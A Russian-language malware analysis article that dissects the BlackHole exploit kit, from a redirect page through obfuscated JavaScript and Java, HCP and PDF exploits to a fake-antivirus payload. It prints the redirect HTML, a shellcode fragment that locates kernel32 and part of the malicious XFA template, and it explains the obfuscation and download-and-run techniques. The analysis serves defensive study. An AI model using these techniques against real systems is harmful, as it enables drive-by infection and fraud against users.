• Партнер

  • В этой статье я решил рассмотреть не PE’шник, как делал в предыдущих статьях, а целый эксплойт-пак. Для разбора я выбрал BlackHole exploit kit. Он очень популярен в последнее время — так, например, недавно им был инфицирован сайт американской почтовой службы. С этого сайта происходил редирект как раз на страницу, где размещался вышеупомянутый эксплойт-пак.

    Итак, в тексте я представлю полную схему работы этой штуки. Все будет описано с самого начала (простого редиректа) и до конечной цели (исполняемого файла).

     

    Поехали!

    Начинаем наш обзор. Все начинается с того, что пользователь заходит на зараженный легальный сайт или, например, кликает по ссылке из спамерского послания. После этого он попадает на промежуточную страницу, которая осуществляет редирект. В моем примере она выглядела вот так:

    <html>
    <head>
    <script language='javascript'>
    location.href = 'http://******.net/index.php?tp=98a8c9d4da3191f5';
    </script>
    <body>
    </body>
    </html>

    Здесь все довольно примитивно — пустая HTML-страница, с которой выполняется переадресация посредством ‘location.href=’. А затем начинается самое интересное — пользовательский браузер загрузит основную страницу BlackHole, с которой будет организовываться выполнение всех остальных эксплойтов. Первым делом я открыл файл в Hiew. Что же я обнаружил? В самом начале, после тэгов <html> и <body>, идет описание свойств стиля ‘asd’:

    .asd {width:0;height:0;overflow:hidden;}

    Далее в div’е с этим стилем расположены какие-то (по-видимому, зашифрованные) данные. Как раз для того, чтобы пользователь не увидел их на экране, и применяется специально подготовленный стиль, прячущий от глаз все лишнее. А заканчивается документ кодом на JS, который слегка обфусцирован и, очевидно, должен работать с информацией в контейнере <div>.

    Пора приступать к разбору непосредственно кода. Я отлаживал скрипт с помощью плагина FireBug для FireFox, попутно используя MSDN, чтобы понять назначение некоторых методов и свойств.

    Что и как здесь работает, я объясню с конца. Суть всего скрипта — выполнить eval над данными, расположенными в <div>. Но, как видно из скриншота, там расположены какие-то числа, причем не только целые, а еще и вещественные (v*1,22222). Таким образом, к этим числам нужно применить метод fromCharCode, который преобразовывает число в ANSI-символ.

    Это и происходит в коде, расположенном на предпоследней строке. Однако не все так просто — строки eval и fromCharCode получаются путем использования хитрых манипуляций. А именно — к объекту document добавляется стиль, к которому в поле innerHTML прибавляется строка #va {background:url(data:,ring.from4harCo)}. Далее из этой строки дергаются символы va для сборки eval и ring.from4CharCo для сборки fromCharCode. Что же получается на выходе после eval’а? А как раз тот документ, который и будет непосредственно запускать эксплойты.

    Я сохранил вывод после eval’а в отдельный файл и приступил к его анализу. Файл начинается со следующей строки:

    document.write('<center><h1>404 Not Found</h1></center><hr>');

    Таким образом, на страницу выводится классическое сообщение об ошибке 404, хотя со страницей, очевидно, все в порядке. Это еще одна уловка, чтобы пользователь ничего не заподозрил. На первый взгляд, кода в html’ке оказалось достаточно много, однако обфускация практически отсутствовала, а большую его часть занимали разнообразные проверки версий плагинов и создание объектов.

    Запуск эксплойтов тривиален, поэтому эту часть я решил опустить и перейти непосредственно к описанию каждого из них. Для начала приведу список уязвимостей, которые эксплуатируются: CVE-2010-1885, CVE-2010-4452, CVE-2010-3552, ADODB.Stream и CVE-2010-0188. Начну с самого простого.

     

    CVE-2010-1885

    Первый подопытный — VBS-скрипт, эксплуатирующий уязвимость в ADODB.Stream, исправленную еще в середине 2004 (!) года.

    Выполнен он типично для такого рода скриптов — слегка обфусцирован и не более того. Например, часть строк была подвержена реверсу. Его функционал заключается в загрузке и запуске файлов из интернета. Но как тебе известно из системных сообщений, файлы из интернета могут быть не только полезны, но и опасны :).

    Для реализации описанного функционала используются объекты MSXML2.XMLHTTP, ADODB.Stream и Wscript. Любопытно, что эта уязвимость стара как мир, но до сих пор используется.

     

    CVE-2010-4452

    Следующий исследуемый образец — эксплойт, использующий CVE2010-4452. Эта уязвимость была официально опубликована Oracle в середине февраля этого года. С ее помощью можно загрузить Javaапплет и исполнить его в обход системы безопасности. Для этого нужно заполнить поля code и codebase тэга <applet> специальным образом. Одна из особенностей этого эксплойта заключается в том, что адрес, по которому производится загрузка, представляет собой двойное слово в десятичной системе исчисления. Поясню: браузер переведет это число в IP-адрес автоматически. То есть, если перейти по адресу http://1476066051, то браузер успешно откроет страницу популярного российского поисковика.

     

    CVE-2010-3552

    Следующий эксплойт, удостоенный чести быть разобранным, использует уязвимость CVE-2010-3552. Дыра опять-таки расположена в Java Runtime Environment. Эксплуатируется она элементарно — если Java-апплет запускается с параметром launchjnlp, то загрузчик копирует строку из поля docbase в стэковый буфер при помощи функции sprintf. Думаю, что дальше пояснять не нужно. Шелл-код также не представляет особенного интереса — вначале идет стандартное получение kernel32 через PEB:

    pushad
    xor ecx,ecx
    mov esi,fs:[ecx][30]
    mov esi,[esi][0C]
    mov esi,[esi][1C]
    mov ebx,[esi][08]
    mov edx,[esi][20]
    mov esi,[esi]
    cmp [edx][18],cx
    jne
    mov [esp][1C],ebx
    popad
    retn

    Далее происходит получение адресов API-функций по их хэшам. Завершающий этап — скачивание файла из urlmon.dll при помощи URLDownloadToFile, и затем — его запуск.

     

    Эксплойт для Help and Support Center

    На подходе следующий эксплойт, который использует уязвимость в весьма экзотическом компоненте OC Windows — Help and Support Center. Фишка в том, что для доступа к онлайн-ресурсам этот компонент использует специальный адрес, начинающийся с hcp://. А теперь о самом эксплойте — он основан на технике сокрытия кода, аналогичной той, что использует первичная html’ка, которая разбиралась в самом начале. Здесь так же, как и там, используется тэг <div> в качестве контейнера данных.

    Обфускация тоже применена аналогичная. Итак, быстро расшифровав «первый слой», я увидел непосредственно эксплойт, использующий CVE-2010-1885.

    Первое, что бросилось в глаза — адрес, начинающийся с hcp:// и обилие повторяющихся символов %A. А второе — разнообразные строки, отвечающие за скачивание и запуск файла: SaveToFile, GET, Adodb.Stream, WshShell.Run, MSXML2.XMLHTTP и так далее. Там же находятся ссылка на скачиваемый файл и его локальное название на жестком диске. Таким образом, суть и этого эксплойта сводится к тому, чтобы просто скачать и запустить файл.

     

    Эксплойт под Adobe Reader и Adobe Acrobat

    На очереди остался последний компонент, представляющий собой PDF-документ, а для концовки я оставил PE’шник, который скачивается всеми упомянутыми в статье эксплойтами. Итак, аплодисменты: замыкает наш хит-парад эксплойт под Adobe Reader и Adobe Acrobat.

    Как я уже упоминал выше — это PDF’ка. В ней содержится XFA– шаблон и код на JavaScript. Шаблон выглядит следующим образом:

    <template xmlns="http://www.xfa.org/schema/xfa-template/2.5/">
    <subform layout="tb" locale="en_US" name="asfaewf">
    <pageSet>
    <pageArea id="roteYom" name="roteYom">
    <contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/>
    <medium long="792pt" short="612pt" stock="default"/>
    </pageArea>
    </pageSet>
    <subform h="756pt" w="576pt" name="qwgwqgwqg">
    <fi eld h="65mm" name="favwwbw" w="85mm" x="53.6501mm"
    y="88.6499mm">
    <event activity="initialize" name="loxRote">
    <script contentType="application/x-javascript">

    Как видишь, здесь создается subform и pageArea, а в первом еще и располагается скрипт, который будет вызываться при открытии документа. То есть при вызове события initialize, которое указано в 'event activity='.

    Больше в файле ничего интересного я не обнаружил. Скрипт выполнен способом, аналогичным тому, что я описывал уже два раза выше по тексту. После расшифровки данных в <div> передо мной предстали два шелл-кода. Каждый их них предназначен для определенной версии продукта Adobe, под которым запущен документ. В шеллкодах опять же реализуется загрузка исполняемого файла, а сама уязвимость проявляется при записи в favwwbw.rawValue (по поводу favwwbw — смотри чуть выше) специально сформированного TIFF-изображения.

     

    Ковыряем сам экзешник

    Итак, с эксплойт-паком покончено. А на закуску — исполняемый файл, который все так упорно пытаются скачать и запустить. Это оказался типичный лжеантивирус. Запакован он UPX’ом, который я успешно снял при помощи 'upx –d', и защищен неким протектором. Как обычно, использована обфускация и антиэмуляция.

     

    Заключение

    В итоге оказалось, что все ухищрения применяются лишь для того, чтобы установить на компьютер поддельный антивирус. Который и будет выкачивать деньги с напуганного и введенного в заблуждение пользователя. Любопытно, что уязвимости используются явно не первой свежести, так что лучше следить за обновлениями популярного софта :).

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии